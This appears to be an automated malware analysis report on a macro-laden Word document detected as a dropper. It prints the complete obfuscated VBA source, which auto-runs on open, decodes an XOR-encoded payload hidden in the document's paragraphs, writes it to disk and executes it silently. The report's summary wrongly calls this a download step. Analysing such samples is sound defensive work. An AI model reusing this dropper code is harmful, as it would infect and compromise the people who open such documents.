Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 317406b35b12fe1a…

MALICIOUS

Office (OOXML)

614.7 KB Created: 2016-04-19 09:21:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2016-08-15
MD5: f187541283f815fb5b4f3b249512c8cc SHA-1: 36f4a530106afaab6b954f2e30a690d0e11f5db0 SHA-256: 317406b35b12fe1a20325522842b79d48783c957ebc822e158e66cd08b2d0da3
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, indicated by multiple heuristic firings including 'OOXML_VBA', 'OLE_VBA_SHELL', and 'OLE_VBA_CREATEOBJ'. The 'macros.bas' script contains obfuscated code that appears to construct a path using environment variables and then attempts to execute it via the Shell function. This suggests the document is a dropper designed to download and execute a secondary payload, likely delivered via spearphishing.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-1576429 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1576429
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Szel = Shell(elest, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set PiConie = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    FolwarkZwierzONEKotleta = Environ(O(O(O(O(Chr(86) + O(O(O("WWtad2FBPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "1wQk1RPT0" + śź(61)))) + O(O(O(śź(86) + "WpGV2MxcEdhRmRTUlVVMQ" + śź(61) + śź(61))))))) _
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 15436 bytes
SHA-256: eb29b49e4ec559f62c3958f8d041627f2588b1f93ac1fcb0e1e2a95f0f82649a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
128 of 220 identifiers look randomly generated (e.g. 'tac1ZWSnVaR3BOVmxvd1ZGWmFUMWRIU2tobFJtUl') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Option Explicit
'KOMENTARZ

Private Const ZjemseMięsko3Kask = 16515072
Private Const ZjemseMięsko3Plask = 258048
Private Const ZjemseMięsko3ThreeMask = 4032
'KOMENTARZ
Private Const ZjemseMięsko3FourMask = 63
'KOMENTARZ
Private Const ZjemseMięsko3Opłatek = 16711680
Private Const ZjemseMięsko3MidMask = 65280
Private Const ZjemseMięsko3LowMask = 255
'KOMENTARZ
Private Const Koperhandlik18 = 262144
Private Const Koperhandlik12 = 4096
Private Const Koperhandlik6 = 64
Private Const Koperhandlik8 = 256
Private Const Koperhandlik16 = 65536
'KOMENTARZ
Sub Angel()
homonto
End Sub
'KOMENTARZ
Sub S1(b As String)
MkDir (b)
End Sub
Sub S2(b As String)
ChDir (b)
End Sub
'KOMENTARZ
Public Sub Wajdajr(Nieokej As String)
Dim PiConie
Set PiConie = CreateObject("Scripting.FileSystemObject")
If PiConie.folderexists(Nieokej) Then
PiConie.deletefolder Nieokej
Else
End
End If
'KOMENTARZ
End Sub
Function Szel(elest As String)
'KOMENTARZ
Szel = Shell(elest, 0)
End Function
Sub KupeConie(ZmienniConie As String)
Dim PiwniConie
PiwniConie = Szel(ZmienniConie)
End Sub
Sub FolwarkZwierzTRZYExta3(FolwarkZwierzTRZYExta0 As String)
 Dim FolwarkZwierzTWOMeta As Integer
 Dim FolwarkZwierzONEKotleta As String
'KOMENTARZ
FolwarkZwierzONEKotleta = Environ(O(O(O(O(Chr(86) + O(O(O("WWtad2FBPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "1wQk1RPT0" + śź(61)))) + O(O(O(śź(86) + "WpGV2MxcEdhRmRTUlVVMQ" + śź(61) + śź(61))))))) _
+ O(O(O(Chr(86) + Chr(109) _
+ O(O(O(śź(86) + "FZFOVBRPT0" + śź(61)))) + O(O(O("WldjOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "kZaYVNtVkdaSE5oUjNoVFZrZDRXRlp0TUQwPQ" + śź(61) + śź(61)))) + O(O(O("WlVkR2JGWnNSalJXYlRFd1Z" _
+ "qRktjMk5HY0ZwV1ZscHhWVVpGT1E9PQ" + śź(61) + śź(61)))) + Chr(61)))))) _
+ O(O(O(O(O(O(O(O(O(O(Chr(86) + Chr(109) _
+ O(O(O(śź(86) + "FZkdlBRPT0" + śź(61)))) + O(O(O(śź(86) + "kRGYVExVnNRbFZOUVQwOQ" + śź(61) + śź(61)))) + Chr(61)))) + O(O(O(O(O(O(śź(86) + śź(109) + "pGa05GVXhSWGRPVldScVVsRTlQUT09"))) + O(O(O(śź(86) + śź(109) + "14T2FFMVlRbnBXVnpBOQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "FZaT1dHSkhlRmRXTWpBMVlVWlpkdz09"))) _
+ O(O(O("WTBWalBRPT0" + śź(61)))) + O(O(O(śź(86) + "jFSQ1lXTXhaRWRYYms1VVlUTm9ZVmxYZEdGaFJscHhVMnQwVTAxUlBUMD0" + śź(61)))) + O(O(O(śź(86) + "jI1T1ZtSlhkejA9"))) + O(O(O(śź(86) + śź(109) + "pGSmVtRkdjRmRpVkVJeldsVlZQUT09"))) + O(O(O(śź(86) + "GxWb1YySkhVbWhWTUZaM1ZuYzlQUT09"))) + O(O(O(śź(86) + "jFkMFZrMVdaRWRWYkdoclUwZFNWVlp0TlVOV01WbDVUbEU5UFE9PQ" + śź(61) + śź(61)))) _
+ O(O(O(śź(86) + "kRGa2N3PT0" + śź(61)))) + O(O(O(śź(86) + "jI1TlBRPT0" + śź(61)))) + O(O(O(śź(86) + "1RCYWMxWXhXVDA9"))) + O(O(O(śź(86) + "FRGS01sWnFTalJYYlZaMFVtdG9hQT09"))) + O(O(O(śź(86) + "WpCYVZGbHJhRU5UVm1SVlUxaG9WUT09"))) + O(O(O(śź(86) + "FZWc05WWkhkRzloUmtsNVlVaE9XbUV4Y0RKVVZsazk" + śź(61)))) + O(O(O(śź(86) + "jI1U1RsWkdTbGhVVm1RMFYwWlplR0ZIT0QwPQ" + śź(61) + śź(61)))) _
+ O(O(O(śź(86) + śź(109) + "5jOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "WpCd1NGbDNQVDA9"))) + O(O(O(śź(86) + "WxSc1dGbHJXbmRoUm14eFVtNWtXRkl3TlVkVk1uYzk" + śź(61)))) + O(O(O(śź(86) + śź(86) + "d4YVYxSkZSVEU9")))))))))))))
'KOMENTARZ
 ChDrive (FolwarkZwierzONEKotleta)
 S2 (FolwarkZwierzONEKotleta)
 KupeConie (FolwarkZwierzONEKotleta + O(O(O(O(Chr(86) _
 + O(O(O("WVdjOVBRPT0" + śź(61)))) + O(O(O(śź(86) + śź(86) + "d4a2FBPT0" + śź(61)))) + O(O(O("WWxaYVNWWnROVXRpUmswOQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "W10d1dWZFJQVDA9"))) + O(O(O(śź(86) + śź(109) + "pOb1RGbFZXbUZXTVZaWldrWkdWZz09"))) + O(O(O(śź(86) + śź(109) + "tSQk5RPT0" + śź(61))))))) + O(O(O(Chr(86) _
 + O(O(O(śź(86) + śź(109) + "xad1IxUXhXa05WYkVKVlRVRTlQUT09"))) + Chr(61))))))
End Sub
Sub AutoOpen()
Angel
End Sub
Private Sub Workbook_Open()
Angel
End Sub

'KOMENTARZ
Sub homonto()
'KOMENTARZ
 Dim FolwarkZwierzTWOMeta As Integer
 Dim FolwarkZwierzONEPeta As Integer
 Dim FolwarkZwierzTRZYExta As String
 Dim FolwarkZwierzTRZYExta99 As String
 Dim FolwarkZwierzONEKotleta As String
 Dim FolwarkZwierzTRZYRakieta As Integer
 Dim FolwarkZwierzTRZYRakieta99 As Integer
 Dim FolwarkZwierzTWOMoneta As Paragraph
 Dim FolwarkZwierzTWOBizancjum As Long
 Dim FolwarkZwierzTWOFortta As Boolean
 Dim FolwarkZwierzTWODrzwi As Integer
 Dim FolwarkZwierzTRZYExta1 As String
 Dim FolwarkZwierzTRZYExta199 As String
 Dim FolwarkZwierzTWOPies As Byte
 Dim FolwarkZwierzTWOPies99 As Byte
 Dim FolwarkZwierzONEKot As String
 Dim FolwarkZwierzTWOZiemniak As String
'KOMENTARZ
 FolwarkZwierzONEKot = O(O(O(O(O(O(O(O(O(O(Chr(86) + Chr(109) + O(O(O(O(śź(86) + "kZaa2Q" _
 + "xVkdXVDA9"))) + O(O(O("WVRCd1ZGWlZXbEprZHowOQ" + śź(61) + śź(61))))) _
 + Chr(61)))) + O(O(O(O(O(O(śź(86) + śź(109) + "pGa05GVXhSWGROU0docVVteHZQUT09"))) + O(O(O(śź(86) + śź(109) + "pGYVJsZHNVbFZXYkhBelZqSjRjMVpzWkhSU2JHaFRZVEozTVZkV1ZtRmpNVmw1VW01S1ZHSnJjRlpaVkVaM1lVWldjVk5yZEZOTlZuQjY" + śź(61)))) _
 + O(O(O(O(śź(86) + śź(109) + "14amVHTXhXWGc9"))) + O(O(O(śź(86) + "TFod2FGSnVRbGhVVm1SU1pIYzlQUT09"))) + O(O(O(śź(86) + "jFaU1FrMVdTbkpOVmxwaFVqTkNWRmxuUFQwPQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "TBWS2RsWnNaRFJoTVZWNFdrVmtWbUpHY0ZkWlZFcFRWMVphZEU1VlRsZE5WbkJaV2tWVk5WZEhTa2RqUVQwOQ" + śź(61) + śź(61)))) + O(O(O("WlZacmQxZHRPVmROUkVaWldWVm9TMVl3TVhWaFIwWmhWbnBHU0ZWdFl6az0" + śź(61)))) + O(O(O(śź(86) + "UZFOVBRPT0" + śź(61))))) _
 + O(O(O(O(śź(86) + "jJjOVBRPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "xkU1NGWlVSbHBsUVQwOQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "lRKNGMxWXhXa1pYYmtrOQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + śź(109) + "10U1IxTnRWa2hVYTFwb1VqSjNQUT09"))) + O(O(O(śź(86) + "lRKR05sWnVXbGRTYkVwRVZYcEdUbVZHWkhWU2JFNXBWbFp3ZGxaR1pEUlpWVEZIVjI1U2F3PT0" + śź(61)))) + O(O(O(śź(86) + "WpOU1lWWnRkSGROUmxwWVpVWk9XR0pWY0ZwV1JtaHZWMmM5UFE9PQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + śź(109) + "14YWQxZEdjRVphUm1SVVZtMDRPUT09")))) _
 + O(O(O(O(śź(86) + "ldwT1ExWkdiSEpYYmxrOQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "2tSR2EyTnNXblJQVjJjOQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "kZaYVIwNVdWWGxrUjNSb1lrVTFTbFZYZHowPQ" + śź(61) + śź(61)))) + O(O(O("WVVaV1YwMHdTa2xXVkVKaFdWZE9WMUpzYkdoU2JWSlBXVmh3VjFOV1dYbGtSMFpYVFZFOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "jFoc1ZHRXlVbkZWYlRFMFYxWmFkR1ZIUm1waVJuQjRWVEp6TlZZd01WWmpTSEJYWWxSR2RsbHJaRWRqYkVwVlZsUXdQUT09"))))))))))))))
 
 
 FolwarkZwierzONEKotleta = Environ(O(O(O(O(Chr(86) _
 + O(O(O(O(O(śź(86) + "jFkMFlXUXlSa2M9"))) + O(O(O(śź(86) + "jI1R1VsWkZXbFJVVmxwaFpXeGtjbGRuUFQwPQ" + śź(61) + śź(61)))) + O(O(O("WWpKR1YxTllhRlJpUjFKWlZtMTRTMU5CUFQwPQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "jJ0U1IxZHRWa2hUYTJ4VVlrZFNXQT09"))) _
 + O(O(O(śź(86) + "ld4YWQxZEdaRmhrUjBaclRWZFNXRmxSUFQwPQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "FROQ2NWVnRNVk5XTVZKV1ZXdGtWMDFXU1QwPQ" + śź(61) + śź(61)))) + O(O(O("WXpGa2RHUkdjRmRpU0VKWlZtcEplRkl4V25OVGJrcFhWa1phVjFWdGRGWk9VVDA5"))))) _
 + Chr(61)))))) + O(O(O(O(O(O(O(O(O(O(Chr(86) + Chr(109) _
 + O(O(O(O(śź(86) + "kZFOVBRPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "pOQ1VWWnRkRXM9"))) + O(O(O(śź(86) + "lRGV1IxVllZejA9")))) + Chr(61)))) _
 + O(O(O(O(O(O(O(śź(86) + śź(109) + "1wR2EwNUdWVDA9"))) + O(O(O(śź(86) + "FZWV00xUnNWbXRoYkVwWFYyYzlQUT09"))) + O(O(O(śź(86) + śź(109) + "tac1ZWSnVaR3BOVmxvd1ZGWmFUMWRIU2tobFJtUlhUV3BCTVZsVldscGtNazVHV2tad1RsSnVRalpXYWtKaFdWZE5lRlJ1U214U2JrSnZXVlJHZDJJeFduUmpSWFJVVFZWck9RPT0" + śź(61))))) _
 + O(O(O(O(śź(86) + "kZFOVBRPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "01Q05sWm5QVDA9"))) + O(O(O(śź(86) + śź(109) + "5wR2VsWnFSa3BsYlVVOQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "W01Q1dGbG5QVDA9"))) + O(O(O(śź(86) + śź(109) + "tWSmVsZG5QVDA9"))) + O(O(O(śź(86) + śź(109) + "xaVmVGVXdXbUZqTVc4OQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "WpCYVZWVnNhRU5YUm1SWVpFWmFUbFp0VVQwPQ" + śź(61) + śź(61)))) _
 + O(O(O(O(śź(86) + "ldjOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "FZaYWVsbFZaREJXUmtsNA" + śź(61) + śź(61)))) + O(O(O(śź(86) + "TJ4YVYySlVRWGhWVkVaYVpVWmtXV0pGT1ZkV1IzaGFWMWQwWVdReVZuTmhNMk05"))) + O(O(O(śź(86) + śź(109) + "pJMFBRPT0" + śź(61)))) + O(O(O(śź(86) + "kd4a1RnPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "0xM01sWnNZekZaVmxsM1RWaFdhRkl3V1QwPQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "1ZaYU5sSnJhRlpOUjFKSVZUQmFTMk14VW5SaVJsSlRWbGhDVEZadGNFZFZiRUpTVUZFOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "UZFOVBRPT0" + śź(61)))))) _
 + O(O(O(śź(86) + "TFob1ZVMVZiRFZXUjNSdllVWkplV0ZJVGxwaE1YQXlWRlphWVdSQlBUMD0" + śź(61)))) + O(O(O(śź(86) + "kZaU1UxWXdNVmc9"))) + O(O(O("WlVab1YwMVhhSFpXTUdSTFVqSk9SazlXWkdsU2JrRTk" + śź(61)))) + O(O(O("WVVac2NWSnVaRmhTTURROQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + "W14T2MxRnNXbGRTUlVVeA" + śź(61) + śź(61))))))))))))))
'KOMENTARZ
 If Len(dir(FolwarkZwierzONEKotleta, vbDirectory)) = 0 Then
 S1 (FolwarkZwierzONEKotleta)
 Else:
 Wajdajr (FolwarkZwierzONEKotleta)
 S1 (FolwarkZwierzONEKotleta)
 End If
 
 FolwarkZwierzTRZYExta = O(O(O(O(O(O(O(O(O(Chr(86) + Chr(109) + O(O(O(O(O(śź(86) + śź(109) + "tFOVBRPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "1jOVBRPT0" + śź(61)))) _
 + O(O(O(śź(86) + "2toa1ZsSm5QVDA9"))) + O(O(O(śź(86) + "jJjOVBRPT0" + śź(61)))) + O(O(O("WTJjOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "lRKM1BRPT0" + śź(61)))) + O(O(O(śź(86) + "kd4WlBRPT0" + śź(61)))) + O(O(O(śź(86) + "ldjOVBRPT0" + śź(61)))) + O(O(O("WWtFOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "W1wTlBRPT0" + śź(61)))))) _
 + Chr(61)))) + O(O(O(O(O(O(O(śź(86) + śź(109) + "1jOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "FZkUlBRPT0" + śź(61)))) + O(O(O(śź(86) + "GtkSlBRPT0" + śź(61)))) + O(O(O(śź(86) + "FZWV05BPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "tkMGF3PT0" + śź(61)))) + O(O(O("WVZaS2MxZHNUbGRoZHowOQ" + śź(61) + śź(61)))) + O(O(O(śź(86) + śź(109) + "0xR1Z3PT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "14YU1Ga3pjRWRYUjBwSVpIb3dQUT09")))) _
 + O(O(O(O(śź(86) + śź(109) + "0xNGF3PT0" + śź(61)))) + O(O(O("WkVaS2RHRkdaRTVUUlVwSlZqRlNRMWxYU1hoYVJXTTk" + śź(61)))) + O(O(O(śź(86) + śź(109) + "pGb2QxWnRTbkpqUm1oWFlURmFNdz09"))) + O(O(O(śź(86) + śź(109) + "xWWlBRPT0" + śź(61)))) + O(O(O(śź(86) + "jI1R1UySlZXbkpXYlhoaFpWWlJQUT09"))) + O(O(O("WWtad2NsWlJQVDA9"))) + O(O(O(śź(86) + "Fd0V05sVlJQVDA9"))) + O(O(O("WVdzMVdGbFVSbmM9"))) + O(O(O("WVVaa1VsQlJQVDA9"))) + O(O(O(śź(86) + "UZFOVBRPT0" + śź(61))))) _
 + O(O(O(O(śź(86) + śź(109) + "0weE5GZFdXblJrUjNSWVVuYzlQUT09"))) + O(O(O(śź(86) + "Wxoc2FBPT0" + śź(61)))) + O(O(O(śź(86) + "WxSc1dGUlZZejA9"))) + O(O(O(śź(86) + "ld4UlBRPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "0xdlBRPT0" + śź(61)))) + O(O(O(śź(86) + "W14alBRPT0" + śź(61)))) + O(O(O(śź(86) + "2tWalBRPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "1jOVBRPT0" + śź(61)))) + O(O(O(śź(86) + "TBaSlBRPT0" + śź(61)))) + O(O(O("WWtkU2NGVm5QVDA9"))) + O(O(O("WVROQ1dWWnRkejA9"))) + O(O(O(śź(86) + "1hwR1ZFMVJQVDA9"))) + O(O(O(śź(86) + śź(109) + "1jOVBRPT0" + śź(61)))) + O(O(O(śź(86) + śź(109) + "pGWlBRPT0" + śź(61)))) + O(O(O("WWtaYVQxVnJaSG89"))) + O(O(O(śź(86) + "UZFOVBRPT0" + śź(61))))) + Chr(61))))))))))
 ChDrive (FolwarkZwierzONEKotleta)
 S2 (FolwarkZwierzONEKotleta)
 FolwarkZwierzTRZYRakieta = FreeFile()
'KOMENTARZ
 Open FolwarkZwierzTRZYExta For Binary As FolwarkZwierzTRZYRakieta
 FolwarkZwierzONEPeta = 0
 For Each FolwarkZwierzTWOMoneta In ActiveDocument.Paragraphs
 DoEvents
 FolwarkZwierzTRZYExta1 = FolwarkZwierzTWOMoneta.Range.Text
 FolwarkZwierzTWOBizancjum = 1
 FolwarkZwierzONEPeta = FolwarkZwierzONEPeta + 1
 If FolwarkZwierzONEPeta >= 24 Then
 While (FolwarkZwierzTWOBizancjum < Len(FolwarkZwierzTRZYExta1))
 FolwarkZwierzTWOPies = "&H" & Mid(FolwarkZwierzTRZYExta1, FolwarkZwierzTWOBizancjum, 2)
 FolwarkZwierzTWOPies = FolwarkZwierzTWOPies Xor &H33
 Put #FolwarkZwierzTRZYRakieta, , FolwarkZwierzTWOPies
 FolwarkZwierzTWOBizancjum = FolwarkZwierzTWOBizancjum + 2
 Wend
 End If
 Next
 Close #FolwarkZwierzTRZYRakieta
 FolwarkZwierzTRZYExta3 (FolwarkZwierzTRZYExta)
End Sub
'KOMENTARZ

Public Function śź(ł As Integer)
śź = Chr(ł)
End Function
Public _
Function _
O(KtóżtowieConie _
As _
String) _
As _
String
'KOMENTARZ
 _
Dim _
BezpieConie() _
As _
Byte, _
bIn() _
As _
Byte, _
ZjemseMięsko2(255) _
As _
Byte, _
puConie(63) _
As _
Long, _
PopleConie(63) _
As _
Long
 _
Dim _
WieConie(63) _
As _
Long, _
lQuad _
As _
Long, _
iPad _
As _
Integer, _
TuConie _
As _
Long, _
PieConie _
As _
Long, _
sOut _
As _
String
 _
Dim _
WesserSzmitIf _
As _
Long
 _
KtóżtowieConie _
= _
Replace(KtóżtowieConie, _
vbCr, _
vbNullString)
 _
KtóżtowieConie _
= _
Replace(KtóżtowieConie, _
vbLf, _
vbNullString)
 _
WesserSzmitIf _
= _
Len(KtóżtowieConie) _
Mod _
4
 _
If _
InStrRev(KtóżtowieConie, _
"" _
+ _
śź(61) _
+ _
Chr(61)) _
Then
 _
iPad _
= _
2
 _
ElseIf _
InStrRev(KtóżtowieConie, _
"" _
+ _
Chr(61)) _
Then
 _
iPad _
= _
1
 _
End _
If
 _
For _
WesserSzmitIf _
= _
0 _
To _
255
 _
Select _
Case _
WesserSzmitIf
 _
Case _
65 _
To _
90
 _
ZjemseMięsko2(WesserSzmitIf) _
= _
WesserSzmitIf _
- _
65
 _
Case _
97 _
To _
122
 _
ZjemseMięsko2(WesserSzmitIf) _
= _
WesserSzmitIf _
- _
71
 _
Case _
48 _
To _
57
 _
ZjemseMięsko2(WesserSzmitIf) _
= _
WesserSzmitIf _
+ _
4
 _
Case _
43
 _
ZjemseMięsko2(WesserSzmitIf) _
= _
62
 _
Case _
47
 _
ZjemseMięsko2(WesserSzmitIf) _
= _
63
 _
End _
Select
 _
Next _
WesserSzmitIf
'KOMENTARZ
 _
For _
WesserSzmitIf _
= _
0 _
To _
63
 _
puConie(WesserSzmitIf) _
= _
WesserSzmitIf _
* _
Koperhandlik6
 _
PopleConie(WesserSzmitIf) _
= _
WesserSzmitIf _
* _
Koperhandlik12
 _
WieConie(WesserSzmitIf) _
= _
WesserSzmitIf _
* _
Koperhandlik18
 _
Next _
WesserSzmitIf
 _
bIn _
= _
StrConv(KtóżtowieConie, _
vbFromUnicode)
 _
ReDim _
BezpieConie((((UBound(bIn) _
+ _
1) _
\ _
4) _
* _
3) _
- _
1)
 _
For _
TuConie _
= _
0 _
To _
UBound(bIn) _
Step _
4
 _
lQuad _
= _
WieConie(ZjemseMięsko2(bIn(TuConie))) _
+ _
PopleConie(ZjemseMięsko2(bIn(TuConie _
+ _
1))) _
+ _
puConie(ZjemseMięsko2(bIn(TuConie _
+ _
2))) _
+ _
ZjemseMięsko2(bIn(TuConie _
+ _
3))
 _
WesserSzmitIf _
= _
lQuad _
And _
ZjemseMięsko3Opłatek
 _
BezpieConie(PieConie) _
= _
WesserSzmitIf _
\ _
Koperhandlik16
 _
WesserSzmitIf _
= _
lQuad _
And _
ZjemseMięsko3MidMask
 _
BezpieConie(PieConie _
+ _
1) _
= _
WesserSzmitIf _
\ _
Koperhandlik8
 _
BezpieConie(PieConie _
+ _
2) _
= _
lQuad _
And _
ZjemseMięsko3LowMask
 _
PieConie _
= _
PieConie _
+ _
3
 _
Next _
TuConie
 _
sOut _
= _
StrConv(BezpieConie, _
vbUnicode)
 _
If _
iPad _
Then _
sOut _
= _
Left$(sOut, _
Len(sOut) _
- _
iPad)
 _
O _
= _
sOut
'KOMENTARZ
End _
Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 154624 bytes
SHA-256: 50c20162a7573907cd7a6b10b09db50d4cab40325b6a82bfd0a534112d60e162
Detection
ClamAV: Doc.Dropper.Agent-1576429
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.